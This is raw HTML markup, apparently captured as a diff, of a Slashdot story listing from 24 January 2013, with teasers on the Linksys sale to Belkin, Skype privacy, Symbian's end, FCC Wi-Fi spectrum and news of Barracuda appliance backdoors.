+ <a href="//entertainment.slashdot.org/story/13/01/24/2314219/jj-abrams-to-direct-star-wars-vii" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42542773">316</strong> <span>comments</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42542773" class="tag-bar none"><a class="topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/starwars" target="_blank">starwars</a>
+<a class="popular tag" rel="statictag" href="/tag/entertainment" target="_blank">entertainment</a>
+<a class="popular tag" rel="statictag" href="/tag/lensflare" target="_blank">lensflare</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article><article id="firehose-42543563" data-fhid="42543563" data-fhtype="story" class="fhitem fhitem-story article usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42543563</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic" id="topic-42543563">
+ <a href="//slashdot.org/index2.pl?fhfilter=business" onclick="return addfhfilter('business');">
+
+ <img src="//a.fsdn.com/sd/topics/business_64.png" width="64" height="64" alt="Businesses" title="Businesses">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42543563"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//it.slashdot.org/story/13/01/24/2347240/cisco-exits-the-consumer-market-sells-linksys-to-belkin">Cisco Exits the Consumer Market, Sells Linksys To Belkin</a></span>
+
+
+ <span class="comments commentcnt-42543563" >106</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42543563">
+
+ Posted
+ by
+
+
+
+ <a href="mailto:samzenpus at slashdot.org" rel="nofollow">samzenpus</a>
+
+
+
+
+
+
+ <time id="fhtime-42543563" datetime="on Thursday January 24, @07:06PM">on Thursday January 24, @07:06PM</time>
+
+
+ <br>from the circle-of-business-life dept.
+
+ </div>
+ </header>
+
+ <div class="body" id="fhbody-42543563">
+
+
+
+
+ <div id="text-42543563" class="p">
+ Krystalo writes <i>"Belkin <a href="http://thenextweb.com/insider/2013/01/24/belkin-helps-cisco-exit-consumer-space-by-acquiring-its-home-networking-division-including-linksys/">on Thursday announced plans to acquire Cisco's Home Networking Business Unit</a>, including its products, technology, employees, and even the well-known Linksys brand. Belkin says it plans to maintain the Linksys brand and will offer support for Linksys products as part of the transaction, financial details fo [...]
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
+ <a href="//it.slashdot.org/story/13/01/24/2347240/cisco-exits-the-consumer-market-sells-linksys-to-belkin" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42543563">106</strong> <span>comments</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42543563" class="tag-bar none"><a class="topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/business" target="_blank">business</a>
+<a class="popular tag" rel="statictag" href="/tag/cisco" target="_blank">cisco</a>
+<a class="popular tag" rel="statictag" href="/tag/it" target="_blank">it</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article><article id="firehose-42542451" data-fhid="42542451" data-fhtype="story" class="fhitem fhitem-story article usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42542451</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic" id="topic-42542451">
+ <a href="//slashdot.org/index2.pl?fhfilter=microsoft" onclick="return addfhfilter('microsoft');">
+
+ <img src="//a.fsdn.com/sd/topics/microsoft_64100.png" width="100" height="64" alt="Microsoft" title="Microsoft">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42542451"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//yro.slashdot.org/story/13/01/24/231217/privacy-advocates-demand-transparency-from-skype">Privacy Advocates Demand Transparency From Skype </a></span>
+
+
+ <span class="comments commentcnt-42542451" >65</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42542451">
+
+ Posted
+ by
+
+
+
+ <a href="mailto:samzenpus at slashdot.org" rel="nofollow">samzenpus</a>
+
+
+
+
+
+
+ <time id="fhtime-42542451" datetime="on Thursday January 24, @06:20PM">on Thursday January 24, @06:20PM</time>
+
+
+ <br>from the pay-no-attention-to-the-man-behind-the-curtain dept.
+
+ </div>
+ </header>
+
+ <div class="body" id="fhbody-42542451">
+
+
+
+
+ <div id="text-42542451" class="p">
+ <a href="mailto:ted_samson at infoworld.com" rel="nofollow">tsamsoniw</a> writes <i>"<a href="http://www.infoworld.com/t/internet-privacy/does-skype-share-user-data-the-feds-privacy-advocates-demand-know-211507">Dozens of privacy advocates, Internet activists, and journalist</a> have issued an <a href="http://www.skypeopenletter.com/">open letter to Skype and Microsoft</a>, calling on the companies to finally get around to being clear and transparent as to who has access to Skype user da [...]
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
+ <a href="//yro.slashdot.org/story/13/01/24/231217/privacy-advocates-demand-transparency-from-skype" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42542451">65</strong> <span>comments</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42542451" class="tag-bar none"><a class="topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/privacy" target="_blank">privacy</a>
+<a class="popular tag" rel="statictag" href="/tag/security" target="_blank">security</a>
+<a class="popular tag" rel="statictag" href="/tag/skype" target="_blank">skype</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article><article id="firehose-42541707" data-fhid="42541707" data-fhtype="story" class="fhitem fhitem-story article usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42541707</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic" id="topic-42541707">
+ <a href="//slashdot.org/index2.pl?fhfilter=business" onclick="return addfhfilter('business');">
+
+ <img src="//a.fsdn.com/sd/topics/business_64.png" width="64" height="64" alt="Businesses" title="Businesses">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42541707"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//yro.slashdot.org/story/13/01/24/2232237/californias-surreal-retroactive-tax-on-tech-startup-investors">California's Surreal Retroactive Tax On Tech Startup Investors</a></span>
+
+
+ <span class="comments commentcnt-42541707" >374</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42541707">
+
+ Posted
+ by
+
+
+
+ <a href="http://www.monkey.org/~timothy/" rel="nofollow">timothy</a>
+
+
+
+
+
+
+ <time id="fhtime-42541707" datetime="on Thursday January 24, @05:35PM">on Thursday January 24, @05:35PM</time>
+
+
+ <br>from the do-not-pass-go-remit-$200 dept.
+
+ </div>
+ </header>
+
+ <div class="body" id="fhbody-42541707">
+
+
+
+
+ <div id="text-42541707" class="p">
+ <a href="mailto:wroush at xconomy.com" rel="nofollow">waderoush</a> writes <i>"Engineers and hackers don't think much about tax policy, but there's a bizarre development in California that they should know about, since it could reduce the pool of angel-investment money available for tech startups. Under a tax break available since the 1990s, startup founders and other investors in California were allowed to exclude or defer their gains when they sold stock in California-based small busin [...]
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
+ <a href="//yro.slashdot.org/story/13/01/24/2232237/californias-surreal-retroactive-tax-on-tech-startup-investors" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42541707">374</strong> <span>comments</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42541707" class="tag-bar none"><a class="topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/business" target="_blank">business</a>
+<a class="popular tag" rel="statictag" href="/tag/finance" target="_blank">finance</a>
+<a class="popular tag" rel="statictag" href="/tag/money" target="_blank">money</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article><article id="firehose-42539763" data-fhid="42539763" data-fhtype="story" class="fhitem fhitem-story article usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42539763</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic" id="topic-42539763">
+ <a href="//slashdot.org/index2.pl?fhfilter=piracy" onclick="return addfhfilter('piracy');">
+
+ <img src="//a.fsdn.com/sd/topics/piracy_64.png" width="64" height="60" alt="Piracy" title="Piracy">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42539763"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//yro.slashdot.org/story/13/01/24/2110217/responding-to-us-gambling-law-antigua-set-to-launch-pirate-site">Responding to US Gambling Law, Antigua Set To Launch "Pirate" Site</a></span>
+
+
+ <span class="comments commentcnt-42539763" >218</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42539763">
+
+ Posted
+ by
+
+
+
+ <a href="http://www.monkey.org/~timothy/" rel="nofollow">timothy</a>
+
+
+
+
+
+
+ <time id="fhtime-42539763" datetime="on Thursday January 24, @04:53PM">on Thursday January 24, @04:53PM</time>
+
+
+ <br>from the mouse-that-roared dept.
+
+ </div>
+ </header>
+
+ <div class="body" id="fhbody-42539763">
+
+
+
+
+ <div id="text-42539763" class="p">
+ An anonymous reader writes <i>"The Government of Antigua is planning to launch a website selling movies, music and software, <a href="http://torrentfreak.com/antigua-government-set-to-launch-pirate-website-to-punish-united-states-130124/">without paying U.S. copyright holders</a>. The Caribbean island is taking the unprecedented step because the United States refuses to lift a trade "blockade" preventing the island from offering Internet gambling services, despite several WTO decision [...]
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
+ <a href="//yro.slashdot.org/story/13/01/24/2110217/responding-to-us-gambling-law-antigua-set-to-launch-pirate-site" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42539763">218</strong> <span>comments</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42539763" class="tag-bar none"><a class="topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/gambling" target="_blank">gambling</a>
+<a class="popular tag" rel="statictag" href="/tag/internet" target="_blank">internet</a>
+<a class="popular tag" rel="statictag" href="/tag/usa" target="_blank">usa</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article><article id="firehose-42538559" data-fhid="42538559" data-fhtype="story" class="fhitem fhitem-story article usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42538559</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic" id="topic-42538559">
+ <a href="//slashdot.org/index2.pl?fhfilter=crime" onclick="return addfhfilter('crime');">
+
+ <img src="//a.fsdn.com/sd/topics/crime_64.png" width="64" height="64" alt="Crime" title="Crime">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42538559"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//it.slashdot.org/story/13/01/24/2030254/uk-anonymous-hacktivists-get-jail-time">UK Anonymous Hacktivists Get Jail Time</a></span>
+
+
+ <span class="comments commentcnt-42538559" >72</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42538559">
+
+ Posted
+ by
+
+
+
+ <a href="http://www.monkey.org/~timothy/" rel="nofollow">timothy</a>
+
+
+
+
+
+
+ <time id="fhtime-42538559" datetime="on Thursday January 24, @04:14PM">on Thursday January 24, @04:14PM</time>
+
+
+ <br>from the sadly-taking-up-room-for-spammers dept.
+
+ </div>
+ </header>
+
+ <div class="body" id="fhbody-42538559">
+
+
+
+
+ <div id="text-42538559" class="p">
+ <a href="http://www.techweekeurope.co.uk/" rel="nofollow">twoheadedboy</a> writes <i>"Two <a href="http://www.techweekeurope.co.uk/news/uk-anonymous-hackers-jail-sentencing-105364">members of the Anonymous hacking collective have been handed a total of 25 months in prison</a>. Christopher Weatherhead, a 22-year-old who went under the pseudonym Nerdo, received the most severe punishment — 18 months in prison. Another member, Ashley Rhodes, was handed seven months, whilst Peter Gi [...]
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
+ <a href="//it.slashdot.org/story/13/01/24/2030254/uk-anonymous-hacktivists-get-jail-time" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42538559">72</strong> <span>comments</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42538559" class="tag-bar none"><a class="topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/court" target="_blank">court</a>
+<a class="popular tag" rel="statictag" href="/tag/crime" target="_blank">crime</a>
+<a class="popular tag" rel="statictag" href="/tag/ddos" target="_blank">ddos</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article><article id="firehose-42538387" data-fhid="42538387" data-fhtype="story" class="fhitem fhitem-story article usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42538387</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic" id="topic-42538387">
+ <a href="//slashdot.org/index2.pl?fhfilter=cellphones" onclick="return addfhfilter('cellphones');">
+
+ <img src="//a.fsdn.com/sd/topics/cellphones_64.png" width="64" height="64" alt="Cellphones" title="Cellphones">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42538387"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//mobile.slashdot.org/story/13/01/24/2024235/nokias-808-pureview-officially-the-end-of-the-symbian-line">Nokia's 808 PureView Officially the End of the Symbian Line</a></span>
+
+
+ <span class="comments commentcnt-42538387" >78</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42538387">
+
+ Posted
+ by
+
+
+
+ <a href="http://www.monkey.org/~timothy/" rel="nofollow">timothy</a>
+
+
+
+
+
+
+ <time id="fhtime-42538387" datetime="on Thursday January 24, @03:35PM">on Thursday January 24, @03:35PM</time>
+
+
+ <br>from the please-turn-out-the-lights dept.
+
+ </div>
+ </header>
+
+ <div class="body" id="fhbody-42538387">
+
+
+
+
+ <div id="text-42538387" class="p">
+ Snirt writes <i>"Symbian is now <a href="http://techcrunch.com/2013/01/24/nokia-confirms-the-pure-view-was-officially-the-last-symbian-phone/">officially dead</a>, Nokia confirmed today. In the company's earnings announcement that came out a little while ago, Nokia confirmed that the 808 PureView, released last year, was the very last device that the company would make on the Symbian platform: 'During our transition to Windows Phone through 2012, we continued to ship devices based on [...]
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
+ <a href="//mobile.slashdot.org/story/13/01/24/2024235/nokias-808-pureview-officially-the-end-of-the-symbian-line" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42538387">78</strong> <span>comments</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42538387" class="tag-bar none"><a class="topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/nokia" target="_blank">nokia</a>
+<a class="popular tag" rel="statictag" href="/tag/handheld" target="_blank">handheld</a>
+<a class="popular tag" rel="statictag" href="/tag/mobile" target="_blank">mobile</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article><article id="firehose-42536215" data-fhid="42536215" data-fhtype="story" class="fhitem fhitem-story article usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42536215</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic" id="topic-42536215">
+ <a href="//slashdot.org/index2.pl?fhfilter=android" onclick="return addfhfilter('android');">
+
+ <img src="//a.fsdn.com/sd/topics/android_64.png" width="64" height="64" alt="Android" title="Android">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42536215"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//tech.slashdot.org/story/13/01/24/194210/samsung-amps-up-its-multi-window-android-upgrade">Samsung Amps Up Its Multi-Window Android Upgrade</a></span>
+
+
+ <span class="comments commentcnt-42536215" >170</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42536215">
+
+ Posted
+ by
+
+
+
+ <a href="http://www.monkey.org/~timothy/" rel="nofollow">timothy</a>
+
+
+
+
+
+
+ <time id="fhtime-42536215" datetime="on Thursday January 24, @02:56PM">on Thursday January 24, @02:56PM</time>
+
+
+ <br>from the like-ms-windows-eh? dept.
+
+ </div>
+ </header>
+
+ <div class="body" id="fhbody-42536215">
+
+
+
+
+ <div id="text-42536215" class="p">
+ DeviceGuru writes <i>"New multiwindow, multitasking features in Samsung's recent Jellybean update to the Galaxy Note 10.1 have pushed the user interface of Android tablets into new territory, <a href="http://www.informationweek.com/byte/samsung-adds-multiwindow-mojo-to-android/240146885">adding MS Windows-like capabilities</a> that are sure to delight many users — and aggravate others. Although some observers have <a href="http://www.geek.com/articles/mobile/samsung-adds-multi- [...]
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
+ <a href="//tech.slashdot.org/story/13/01/24/194210/samsung-amps-up-its-multi-window-android-upgrade" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42536215">170</strong> <span>comments</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42536215" class="tag-bar none"><a class="topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/android" target="_blank">android</a>
+<a class="popular tag" rel="statictag" href="/tag/gui" target="_blank">gui</a>
+<a class="popular tag" rel="statictag" href="/tag/samsung" target="_blank">samsung</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article><article id="firehose-42535273" data-fhid="42535273" data-fhtype="story" class="fhitem fhitem-story article usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42535273</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic thumbimg" id="topic-42535273">
+ <a href="//slashdot.org/index2.pl?fhfilter=hardware" onclick="return addfhfilter('hardware');">
+
+ <img src="//a.fsdn.com/sd/topics/hardware_64.png" width="64" height="64" alt="Hardware" title="Hardware">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42535273"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//hardware.slashdot.org/story/13/01/24/1839229/ces-automatic-plant-monitoring-through-your-computer-or-iphone-video">CES: Automatic Plant Monitoring Through Your Computer or iPhone (Video)</a></span>
+
+
+ <span class="comments commentcnt-42535273" >39</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42535273">
+
+ Posted
+ by
+
+
+
+ <a href="http://roblimo.com/" rel="nofollow">Roblimo</a>
+
+
+
+
+
+
+ <time id="fhtime-42535273" datetime="on Thursday January 24, @02:16PM">on Thursday January 24, @02:16PM</time>
+
+
+ <br>from the grow-up-to-the-sky-my-darlings dept.
+
+ </div>
+ </header>
+
+ <div class="body" id="fhbody-42535273">
+
+
+
+<aside class="slashtv-river-thumbnail">
+ <a href="//hardware.slashdot.org/story/13/01/24/1839229/ces-automatic-plant-monitoring-through-your-computer-or-iphone-video#media" class="watch">Watch</a>
+ <a href="//hardware.slashdot.org/story/13/01/24/1839229/ces-automatic-plant-monitoring-through-your-computer-or-iphone-video#media"><img src="//a.fsdn.com/sd/firehose/042/535/273-2-thumb.png"></a>
+</aside>
+
+
+ <div id="text-42535273" class="p">
+ <a href="http://www.linkedin.com/pub/timothy-lord/7/85b/4a8">Timothy Lord</a> starts this video with these words: "Sensors are a big deal at CES this year. They are small devices that track everything from the location of your pets to how many steps you have taken today." And so he chatted with Phillip Bolliger, founder of Swiss company <a href="http://www.koubachi.com/main?locale=en">Koubachi AG</a>, which makes Wi-Fi sensors that help you give your plants the right amount of water a [...]
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
+ <a href="//hardware.slashdot.org/story/13/01/24/1839229/ces-automatic-plant-monitoring-through-your-computer-or-iphone-video" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42535273">39</strong> <span>comments</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42535273" class="tag-bar none"><a class="topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/hardware" target="_blank">hardware</a>
+<a class="popular tag" rel="statictag" href="/tag/devices" target="_blank">devices</a>
+<a class="popular tag" rel="statictag" href="/tag/input" target="_blank">input</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article><article id="firehose-42533307" data-fhid="42533307" data-fhtype="story" class="fhitem fhitem-story article usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42533307</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic" id="topic-42533307">
+ <a href="//slashdot.org/index2.pl?fhfilter=wireless" onclick="return addfhfilter('wireless');">
+
+ <img src="//a.fsdn.com/sd/topics/wireless_64.png" width="64" height="64" alt="Wireless Networking" title="Wireless Networking">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42533307"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//mobile.slashdot.org/story/13/01/24/1749245/what-the-fccs-wi-fi-expansion-means-for-you">What the FCC's Wi-Fi Expansion Means For You</a></span>
+
+
+ <span class="comments commentcnt-42533307" >116</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42533307">
+
+ Posted
+ by
+
+
+
+ <a href="http://www.monkey.org/~timothy/" rel="nofollow">timothy</a>
+
+
+
+
+
+
+ <time id="fhtime-42533307" datetime="on Thursday January 24, @01:30PM">on Thursday January 24, @01:30PM</time>
+
+
+ <br>from the new-haircuts-all-around dept.
+
+ </div>
+ </header>
+
+ <div class="body" id="fhbody-42533307">
+
+
+
+
+ <div id="text-42533307" class="p">
+ alphadogg writes <i>"Mobile devices like the iPhone 5 are embracing the 5GHz band, and <a href="http://www.networkworld.com/news/2013/012313-expanding-wifi-266058.html?hpg1=bn">that trend will expand as 802.11ac radios become prevalent</a> even on smartphones starting in 2013. The FCC announced a New Year's Wi-Fi gift during the International CES show earlier this month: a proposal to dramatically expand the unlicensed spectrum in the 5GHz frequency band for use by Wi-Fi devices. The [...]
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
+ <a href="//mobile.slashdot.org/story/13/01/24/1749245/what-the-fccs-wi-fi-expansion-means-for-you" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42533307">116</strong> <span>comments</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42533307" class="tag-bar none"><a class="popular topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/mobile" target="_blank">mobile</a>
+<a class="popular tag" rel="statictag" href="/tag/wireless" target="_blank">wireless</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article><article id="firehose-42530355" data-fhid="42530355" data-fhtype="story" class="fhitem fhitem-story article usermode thumbs grid_24">
+<span class="sd-info-block" style="display: none">
+ <span class="sd-key-firehose-id">42530355</span>
+ <span class="type">story</span>
+
+</span>
+
+
+
+
+
+
+
+ <header>
+
+
+ <span class="topic" id="topic-42530355">
+ <a href="//slashdot.org/index2.pl?fhfilter=networking" onclick="return addfhfilter('networking');">
+
+ <img src="//a.fsdn.com/sd/topics/networking_64.png" width="64" height="64" alt="Networking" title="Networking">
+
+ </a>
+ </span>
+
+
+ <h2 class="story">
+
+
+
+ <span id="title-42530355"> <a onclick="return toggle_fh_body_wrap_return(this);" href="//hardware.slashdot.org/story/13/01/24/1618243/barracuda-appliances-have-exploitable-holes-fixed-by-firmware-updates">Barracuda Appliances Have Exploitable Holes, Fixed By Firmware Updates</a></span>
+
+
+ <span class="comments commentcnt-42530355" >82</span>
+
+
+
+ </h2>
+ <div class="details" id="details-42530355">
+
+ Posted
+ by
+
+
+
+ <a href="http://www.monkey.org/~timothy/" rel="nofollow">timothy</a>
+
+
+
+
+
+
+ <time id="fhtime-42530355" datetime="on Thursday January 24, @12:51PM">on Thursday January 24, @12:51PM</time>
+
+
+ <br>from the unless-you-like-them-that-way dept.
+
+ </div>
+ </header>
+
+ <div class="body" id="fhbody-42530355">
+
+
+
+
+ <div id="text-42530355" class="p">
+ <a href="http://www.net-security.org/" rel="nofollow">Orome1</a> writes <i>"Barracuda Networks has released firmware updates that remove SSH backdoors in a number of their products and resolve a vulnerability in Barracuda SSL VPN that <a href="http://www.net-security.org/secworld.php?id=14297">allows attackers to bypass access restrictions</a> to download potentially insecure files, set new admins passwords, or even shut down the device. The backdoor accounts are present on in all ava [...]
+
+
+
+
+ </div>
+ <aside class="novote">
+
+ </aside>
+
+ <footer class="clearfix meta article-foot">
+ <div class="grid_10 l">
+
+ <a href="//hardware.slashdot.org/story/13/01/24/1618243/barracuda-appliances-have-exploitable-holes-fixed-by-firmware-updates" class="read-more" title=""><span>Read the </span><strong class="comments commentcnt-42530355">82</strong> <span>comments</span> </a>
+
+ </div>
+
+ <div class="grid_14 r">
+ <span class="tright tags"><menu type="toolbar" class="edit-bar">
+ <a class="edit-toggle" href="/my/login/" onclick="show_login_box();return false;"><span class="ui-icon button collapse"></span></a>
+ <input class="tag-entry default" type="text" size="10" style="display:none" value="apply tags">
+
+ <span id="tagbar-42530355" class="tag-bar none"><a class="topic tag" rel="statictag" href="/tag/" target="_blank"></a>
+<a class="popular tag" rel="statictag" href="/tag/hardware" target="_blank">hardware</a>
+<a class="popular tag" rel="statictag" href="/tag/it" target="_blank">it</a>
+<a class="popular tag" rel="statictag" href="/tag/security" target="_blank">security</a>
+</span>
+
+
+</menu></span>
+ </div>
+
+ </footer>
+
+
+
+</article>
+
+ </div>
+ <div class="grid_24">
+ <div class="paginate" id="fh-pag-div">
+<div class="menu" id="fh-paginate">
+
+
+
+
+
+
+
+ <span class="hide inactive">
+ <a onclick="firehose_set_options('startdate','20130125'); return false;" href="//slashdot.org/index2.pl?section=&color=green&index=1&view=stories&duration=-1&startdate=20130125">Today</a>
+ </span>
+
+ <span class="hide active">
